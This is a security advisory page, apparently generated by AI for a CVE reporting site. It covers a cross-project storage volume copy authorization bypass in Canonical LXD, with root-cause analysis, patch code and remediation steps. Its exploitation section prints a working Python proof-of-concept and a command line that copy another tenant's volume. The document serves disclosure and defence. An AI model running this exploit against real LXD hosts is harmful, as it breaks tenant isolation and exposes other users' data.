CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



GHSA-7MR3-28H5-M5VX

GHSA-7mr3-28h5-m5vx: Authorization Bypass and Cross-Project Volume Copy in Canonical LXD

Alon Barad
Alon Barad
Software Engineer

Nov 6, 2026·10 min read·3 visits

Executive Summary (TL;DR)

Authenticated users restricted to a single LXD project can bypass multi-tenant isolation and copy custom storage volumes from any other project by supplying an unauthorized source project name in a volume creation API request.

An authorization bypass vulnerability in Canonical LXD (tracked as GHSA-7mr3-28h5-m5vx and CVE-2026-55621, and as GHSA-64f3-v33m-w89f in Linux Containers Incus) allows an authenticated user with restricted project access to copy custom storage volumes and volume snapshots from unauthorized projects. The flaw resides in the storagePoolVolumesPost REST API handler, which verifies permissions on the destination project but fails to check whether the caller holds view entitlements on the source project or volume specified in the request body.

Vulnerability Overview

Canonical LXD is a system container and virtual machine manager implemented in Go that exposes a RESTful API over HTTPS (typically on TCP port 8443) or a local Unix domain socket. To support multi-tenant deployments, LXD implements a 'Projects' feature that partitions instances, images, networks, profiles, and custom storage volumes into isolated logical namespaces. Administrators can issue restricted client certificates bound to specific projects, intending to prevent those clients from viewing or interacting with resources residing in other projects on the same LXD host or cluster.

A missing authorization vulnerability (CWE-862), also classifiable as Improper Authorization (CWE-285) and Authorization Bypass Through User-Controlled Key (CWE-639), exists within the custom storage volume creation workflow in github.com/canonical/lxd. Specifically, the HTTP POST handler for /1.0/storage-pools/{pool}/volumes/custom fails to validate user entitlements against the source project and volume when the creation request specifies a copy operation (req.Source.Type == "copy").

When a restricted user initiates a volume copy, LXD verifies that the caller is permitted to create storage volumes within the target destination project specified in the URL query string (?project={target-project}). However, the daemon trusts the source.project and source.name parameters supplied in the JSON request body without verifying that the caller holds read or view permissions on the origin project.

Consequently, any authenticated attacker with restricted access to at least one LXD project can clone custom storage volumes or snapshots from arbitrary projects into their authorized project, provided they know or can guess the target project and volume identifiers. Once the volume is duplicated into the attacker's project namespace, the attacker has full administrative control over the copy and can mount it into an instance to read all underlying filesystem or block data.

Root Cause Analysis

In LXD's security architecture, client authentication and authorization are enforced per API endpoint and per resource entity. When a client authenticates via a TLS client certificate configured with restricted: true, the LXD authorizer restricts the client's operational scope strictly to the projects explicitly listed in the certificate's trust store configuration. Any direct attempt by this client to query or manipulate resources in an unlisted project—such as issuing a GET /1.0/storage-pools/default/volumes?project=secrets request—is intercepted by the authorization layer and rejected with an HTTP 403 Forbidden response.

The vulnerability originates in lxd/storage_volumes.go within the storagePoolVolumesPost function, which processes requests to create new storage volumes in a given storage pool. This endpoint supports multiple creation modes defined by the req.Source.Type field in the JSON payload, including creating an empty volume, migrating a volume, or copying an existing volume (api.SourceTypeCopy / "copy").

During the execution of storagePoolVolumesPost, the router and handler validate the caller's permissions against the target project extracted from the HTTP request query parameter (requestProjectName). When req.Source.Type is set to copy, the handler extracts req.Source.Project and req.Source.Name directly from the unvalidated JSON request body and passes them downstream to the internal storage layer (CreateCustomVolumeFromCopy).

Because internal storage pool operations execute with the privileges of the LXD daemon itself, the backend storage driver performs the block or filesystem duplication across project boundaries without further access control checks. The absence of an explicit s.Authorizer.CheckPermission or s.Authorizer.UserHasPermission call on the source entity prior to invoking the storage backend constitutes the root cause of the isolation bypass.

Code Analysis

The remediation was implemented across both the mainline LXD codebase (6.x and 5.21.x branches) and the older 5.0.x LTS branch. While both patches resolve the missing authorization check in lxd/storage_volumes.go, they differ slightly in implementation due to architectural evolutions in LXD's internal Authorizer interface and entity URL representation.

In the mainline patch (commit 8a4ed50ae855639d76021ba4bf26a50d7f2288fd), the fix intercepts requests in storagePoolVolumesPost immediately after validating the volume type. When req.Source.Type == api.SourceTypeCopy, the code resolves the effective project for custom storage volumes and constructs a canonical *api.URL representing either the source volume or the source volume snapshot, depending on whether req.Source.Name contains a snapshot delimiter.

// Mainline Fix (Commit 8a4ed50ae855639d76021ba4bf26a50d7f2288fd)
if req.Source.Type == api.SourceTypeCopy {
	if req.Source.Name == "" {
		return response.BadRequest(errors.New("No source volume name supplied"))
	}
 
	// Default to the target project if no source project is explicitly specified in JSON
	if req.Source.Project == "" {
		req.Source.Project = requestProjectName
	}
 
	// Resolve the actual project name based on cluster project features (e.g., features.storage.volumes)
	sourceProjectName, err := project.StorageVolumeProject(s.DB.Cluster, req.Source.Project, cluster.StoragePoolVolumeTypeCustom)
	if err != nil {
		return response.SmartError(err)
	}
 
	// Build the exact internal entity URL for either a snapshot or a parent custom volume
	var sourceURL *api.URL
	sourceVolumeName, snapshotName, isSnapshot := api.GetParentAndSnapshotName(req.Source.Name)
	if isSnapshot {
		sourceURL = entity.StorageVolumeSnapshotURL(sourceProjectName, req.Source.Location, req.Source.Pool, req.Type, sourceVolumeName, snapshotName)
	} else {
		sourceURL = entity.StorageVolumeURL(sourceProjectName, req.Source.Location, req.Source.Pool, req.Type, req.Source.Name)
	}
 
	// Enforce that the authenticated caller holds 'can_view' entitlement on the source entity
	err = s.Authorizer.CheckPermission(r.Context(), sourceURL, auth.EntitlementCanView)
	if err != nil {
		return response.SmartError(err)
	}
}

In the 5.0.x LTS branch (commit eec1cf9504c18ad7c3c36ae0b62d21c05c25702c), the authorization check uses the project-level UserHasPermission method. Notably, the LTS patch avoids mutating req.Source.Project in-place when it is empty, preserving cluster-internal forwarding semantics where an empty req.Source.Project signals an intra-project operation.

// LTS 5.0.x Fix (Commit eec1cf9504c18ad7c3c36ae0b62d21c05c25702c)
if req.Source.Type == "copy" {
	// Determine effective source project without mutating req.Source.Project
	sourceProject := req.Source.Project
	if sourceProject == "" {
		sourceProject = requestProjectName
	}
 
	// Verify the user has "view" permission on the source project
	if !s.Authorizer.UserHasPermission(r, sourceProject, "view") {
		return response.Forbidden(nil)
	}
}

> [!NOTE] > Fix Completeness Assessment: Both patches completely remediate the vulnerability along the storagePoolVolumesPost copy path. The mainline fix is particularly granular, validating auth.EntitlementCanView against the specific volume or snapshot URL (which accounts for fine-grained RBAC/OpenFGA policies in newer LXD versions) as well as resolving project feature overrides via project.StorageVolumeProject.

Exploitation

Exploiting GHSA-7mr3-28h5-m5vx requires three prerequisites: network connectivity to the LXD REST API (:8443), valid credentials (such as a restricted TLS client certificate) granting access to at least one project where custom volume creation is permitted, and knowledge of the target source project name, storage pool name, and custom volume name. Because restricted users receive 403 Forbidden when attempting to list projects or volumes outside their scope, an attacker must either know the naming conventions used in the environment or brute-force common project and volume names (e.g., production, secrets, default, backups).

Consider an environment where an administrator has created an isolated project named secrets containing a custom volume secret-vol in the default storage pool, and has issued a restricted client certificate (client.crt and client.key) limited exclusively to the default project. When the attacker attempts to list volumes in secrets, the API properly denies the request.

To bypass this restriction, the attacker sends an HTTP POST request to /1.0/storage-pools/default/volumes/custom?project=default with a JSON payload instructing LXD to create a new custom volume named copy-secret-vol by copying secret-vol from the secrets project. The following proof-of-concept script demonstrates this exact API call:

#!/usr/bin/env python3
"""Copy a custom storage volume from another project into an allowed project."""
 
from __future__ import annotations
import argparse
import json
import ssl
import sys
import urllib.error
import urllib.parse
import urllib.request
 
def post(url: str, path: str, body: dict, cert: str, key: str, insecure: bool) -> bytes:
    ctx = ssl.create_default_context()
    if insecure:
        ctx.check_hostname = False
        ctx.verify_mode = ssl.CERT_NONE
    ctx.load_cert_chain(cert, key)
    req = urllib.request.Request(
        url.rstrip("/") + path,
        data=json.dumps(body).encode(),
        method="POST",
        headers={"Content-Type": "application/json", "Accept": "application/json"},
    )
    try:
        with urllib.request.urlopen(req, context=ctx) as resp:
            return resp.read()
    except urllib.error.HTTPError as exc:
        sys.stderr.write(exc.read().decode(errors="replace") + "\n")
        raise
 
def main() -> int:
    ap = argparse.ArgumentParser()
    ap.add_argument("--url", required=True)
    ap.add_argument("--cert", required=True)
    ap.add_argument("--key", required=True)
    ap.add_argument("--pool", required=True)
    ap.add_argument("--target-project", required=True)
    ap.add_argument("--source-project", required=True)
    ap.add_argument("--source-volume", required=True)
    ap.add_argument("--source-pool")
    ap.add_argument("--name", required=True, help="new volume name in target project")
    ap.add_argument("--content-type", default="filesystem", choices=["filesystem", "block"])
    ap.add_argument("--volume-only", action="store_true")
    ap.add_argument("--insecure", action="store_true")
    ap.add_argument("--dry-run", action="store_true")
    args = ap.parse_args()
 
    source = {
        "type": "copy",
        "name": args.source_volume,
        "project": args.source_project,
        "volume_only": args.volume_only,
    }
    if args.source_pool:
        source["pool"] = args.source_pool
 
    body = {
        "name": args.name,
        "type": "custom",
        "content_type": args.content_type,
        "source": source,
    }
    path = "/1.0/storage-pools/{}/volumes/custom?{}".format(
        urllib.parse.quote(args.pool, safe=""),
        urllib.parse.urlencode({"project": args.target_project}),
    )
    if args.dry_run:
        print(json.dumps(body, indent=2))
        return 0
    print(post(args.url, path, body, args.cert, args.key, args.insecure).decode(errors="replace"))
    return 0
 
if __name__ == "__main__":
    raise SystemExit(main())

Executing the script against a vulnerable LXD server initiates an asynchronous background operation that duplicates the underlying storage volume into the default project:

python3 poc.py --url https://<TARGET-IP>:8443 \
    --cert client.crt --key client.key \
    --target-project default \
    --source-project secrets \
    --source-volume secret-vol \
    --name copy-secret-vol \
    --pool default --source-pool default \
    --insecure

Once the background operation completes, copy-secret-vol is registered under the default project. The attacker can then attach copy-secret-vol to any container or virtual machine they control within default and read the entirety of the exfiltrated filesystem or block device.

Impact Assessment

The primary security impact of GHSA-7mr3-28h5-m5vx is a high-severity breach of confidentiality across multi-tenant security boundaries, reflected in its CVSS v3.1 score of 7.7 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N). The Scope metric is rated as Changed (S:C) because the vulnerable component is the LXD API authorization layer governing the attacker's project, while the impacted component is an isolated storage resource residing in a separate tenant security domain.

Custom storage volumes in LXD and Incus are frequently used to persist high-value application data independently of instance lifecycles. This includes relational database files, shared configuration directories, TLS private keys, application secrets, and backup archives. By duplicating these volumes into an untrusted project, an attacker gains full read access to every file or block stored on the volume (Confidentiality: High).

The vulnerability does not allow the attacker to directly modify or delete the original volume in the victim project (Integrity: None, Availability: None), as the operation creates an independent clone in the destination project. However, if the exfiltrated volume contains credentials, SSH keys, or API tokens belonging to services in the victim project, the attacker can leverage those disclosed secrets to pivot and achieve secondary compromise of the victim environment.

Additionally, while the primary impact is unauthorized data disclosure, an attacker could repeatedly trigger large cross-project volume copies into their own project if storage quotas are not strictly enforced, potentially consuming underlying storage pool capacity on the host.

Remediation

Administrators operating Canonical LXD or Linux Containers Incus in multi-tenant configurations must upgrade to a patched release that enforces source entitlement checks during custom volume copy operations. Canonical has released patches across all supported LXD tracks:

  • LXD 5.0 LTS track: Upgrade to 5.0.7 or later (fixed via commit eec1cf9504c18ad7c3c36ae0b62d21c05c25702c).
  • LXD 5.21 LTS track: Upgrade to 5.21.5 or later (fixed via commit 8a4ed50ae855639d76021ba4bf26a50d7f2288fd).
  • LXD 6.x feature track: Upgrade to 6.8 or later (fixed via commit e2635a26957737ec4a77dc28dd7b84bd380881d6).
  • Go Module Consumers: Update github.com/canonical/lxd to pseudo-version 0.0.0-20260630083100-c5184be310b1 or a corresponding tagged release.
  • Incus Users: Refer to advisory GHSA-64f3-v33m-w89f and apply the corresponding upstream Incus updates.

> [!NOTE] > Workarounds and Mitigations: If immediate patching is not feasible, review all trusted client certificates (lxc config trust list) and revoke or restrict network access to :8443 for any semi-trusted or multi-tenant users. Additionally, where possible, disable custom volume creation in untrusted projects or enforce strict project restrictions (restricted.devices.disk) so that even if a volume is copied, it cannot be attached to an instance.

Security teams should audit LXD daemon logs and cluster operation histories for evidence of historical exploitation. Specifically, inspect HTTP access logs for POST requests to /1.0/storage-pools/*/volumes/custom where the ?project= query parameter differs from the source.project attribute in the request body, and review background volume-copy operations involving cross-project source paths.

Official Patches

CanonicalCanonical LXD Security Advisory GHSA-7mr3-28h5-m5vx
Linux Containers (Incus)Incus Security Advisory GHSA-64f3-v33m-w89f
CanonicalCanonical LXD 5.0.7 Release
CanonicalCanonical LXD 5.21.5 Release
CanonicalCanonical LXD 6.8 Release

Fix Analysis (3)

Technical Appendix

CVSS Score
7.7/ 10
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

Affected Systems

Canonical LXDLinux Containers Incusgithub.com/canonical/lxd

Affected Versions Detail

Product
Affected Versions
Fixed Version
Canonical LXD (5.0 LTS)
Canonical
< 5.0.75.0.7
Canonical LXD (5.21 LTS)
Canonical
< 5.21.55.21.5
Canonical LXD (6.x)
Canonical
< 6.86.8
AttributeDetail
Vulnerability IDGHSA-7mr3-28h5-m5vx / CVE-2026-55621
Weakness ClassCWE-862 (Missing Authorization)
CVSS v3.1 Score7.7 High (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N)
Attack VectorNetwork (HTTPS REST API on :8443)
Affected FunctionstoragePoolVolumesPost (lxd/storage_volumes.go)
Security ImpactCross-project tenant isolation bypass and unauthorized storage volume duplication
Exploit MaturityProof of Concept (PoC) Publicly Available
Patched VersionsLXD 5.0.7, 5.21.5, 6.8

MITRE ATT&CK Mapping

T1078Valid Accounts
Initial Access
T1530Data from Cloud Storage
Collection
T1213Data from Information Repositories
Collection
T1005Data from Local System
Collection
CWE-862
Missing Authorization

The product does not perform an authorization check when an actor attempts to access a resource or perform an action.

Known Exploits & Detection

GitHub Security AdvisoryOfficial advisory containing reproduction steps and a Python proof-of-concept script demonstrating cross-project custom storage volume duplication.

Vulnerability Timeline

Mainline patch commits (8a4ed50ae855639d76021ba4bf26a50d7f2288fd and e2635a26957737ec4a77dc28dd7b84bd380881d6) authored by Kadin Sayani.
2026-03-18
LTS 5.0.x patch commit (eec1cf9504c18ad7c3c36ae0b62d21c05c25702c) authored by Nikita Mezhenskyi.
2026-06-23
Public disclosure of GHSA-7mr3-28h5-m5vx (and CVE-2026-55621).
2026-11-06

References & Sources

  • [1]LXD Security Advisory (GHSA-7mr3-28h5-m5vx)
  • [2]Incus Security Advisory (GHSA-64f3-v33m-w89f)
  • [3]GitHub Advisory Database Entry (GHSA-7mr3-28h5-m5vx)
  • [4]Fix Commit (8a4ed50ae855639d76021ba4bf26a50d7f2288fd)
  • [5]Fix Commit (e2635a26957737ec4a77dc28dd7b84bd380881d6)
  • [6]Fix Commit LTS 5.0.x (eec1cf9504c18ad7c3c36ae0b62d21c05c25702c)
  • [7]National Vulnerability Database (CVE-2026-55621)
  • [8]Canonical LXD Upstream Repository
Related Vulnerabilities
CVE-2026-55621

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•about 1 hour ago•GHSA-QX75-2P3R-PWM5
7.7

CVE-2026-55622: Cross-Project Instance Copy Authorization Bypass in Canonical LXD and LXC Incus

CVE-2026-55622 (GHSA-qx75-2p3r-pwm5) is an improper access control vulnerability (CWE-284) in Canonical LXD and LXC Incus (tracked as GHSA-c9f5-j9c3-mhrg). In multi-tenant deployments utilizing project-based isolation, the REST API handler for instance creation via POST /1.0/instances verifies that the authenticated user has authorization in the destination project specified by the query parameter, but fails to verify whether the user holds read or view permissions for the source instance when executing a copy operation across projects. Consequently, an authenticated client restricted to a single project can clone instances or snapshots from unauthorized projects into their own project, resulting in complete disclosure of the target instance filesystem and embedded credentials.

Amit Schendel
Amit Schendel
1 views•11 min read
•about 3 hours ago•GHSA-47W9-6R3F-938G
9.9

GHSA-47w9-6r3f-938g: Authorization Bypass and Host Root Command Execution in Canonical LXD and Incus

A missing authorization and configuration validation vulnerability in Canonical LXD and LXC Incus allows authenticated users within restricted projects to bypass project security boundaries. By smuggling prohibited low-level configuration directives (such as raw.lxc or raw.qemu) inside instance snapshots or backup archives, an attacker can restore these configurations within a restricted project and execute arbitrary commands with root privileges on the underlying host operating system.

Alon Barad
Alon Barad
4 views•11 min read
•about 4 hours ago•GHSA-JPF8-86F3-WP38
9.9

CVE-2026-48752: Arbitrary Host File Read and Write via Templates Symlink in Canonical LXD and Incus

A symbolic link traversal vulnerability (CWE-59) in Canonical LXD and Linux Containers Incus allows an authenticated user with image import permissions to read and write arbitrary files on the host filesystem. During image archive unpacking, the daemon fails to reject top-level symbolic links for the instance `templates` directory. Subsequent requests to the instance template API endpoints follow this symbolic link outside the instance storage directory with root privileges, enabling complete host compromise.

Amit Schendel
Amit Schendel
4 views•10 min read
•1 day ago•CVE-2026-12411
8.4

CVE-2026-12411: Cross-Guest Volume Hijack via DevLXD Device PATCH in Canonical LXD

CVE-2026-12411 is a broken access control vulnerability in the DevLXD interface of Canonical LXD versions 6.6 through 6.8. The flaw resides in the devLXDInstancePatchHandler component, which fails to verify storage volume ownership when an instance attaches a new disk device via the /dev/lxd guest socket. When the security.devlxd.management.volumes configuration option is enabled, an untrusted guest or DevLXD identity can issue a crafted HTTP PATCH request referencing another tenant's custom storage volume. The LXD host daemon subsequently mounts the target volume into the requesting guest, permitting unauthorized cross-tenant read and write operations.

Amit Schendel
Amit Schendel
7 views•10 min read
•1 day ago•CVE-2026-105769
9.3

CVE-2026-105769: Azure Entra ID Token Exfiltration in Kaniko via Unanchored ACR Hostname Regex

CVE-2026-105769 (GHSA-5q7h-w9jf-cx97, GO-2026-6225) is an origin validation error and credential exfiltration vulnerability affecting Kaniko prior to version 1.25.20. The flaw stems from an unanchored regular expression in the integrated Azure Container Registry (ACR) credential helper (github.com/chrismellard/docker-credential-acr-env). When Kaniko processes a Dockerfile containing an image reference hosted on a lookalike domain containing an ACR suffix as a substring (e.g., x.azurecr.io.attacker.com), the credential helper acquires a Microsoft Entra ID access token for Azure Resource Manager and transmits it via HTTP POST to the attacker-controlled host.

Amit Schendel
Amit Schendel
11 views•11 min read
•1 day ago•CVE-2026-62300
6.5

CVE-2026-62300: Uncontrolled Resource Consumption in filecoin-pin Daemon

CVE-2026-62300 is an uncontrolled resource consumption vulnerability (CWE-400) affecting the daemon mode of filecoin-pin in versions up to and including 1.1.0. The daemon implements the IPFS Pinning Service API to store content on Filecoin's Proof of Data Possession (PDP) service. Due to the absence of rate limits, concurrency caps, execution timeouts, and Directed Acyclic Graph (DAG) traversal limits, an authenticated user—or an unauthenticated user when authentication is disabled—can exhaust system resources via crafted POST /pins requests.

Amit Schendel
Amit Schendel
10 views•11 min read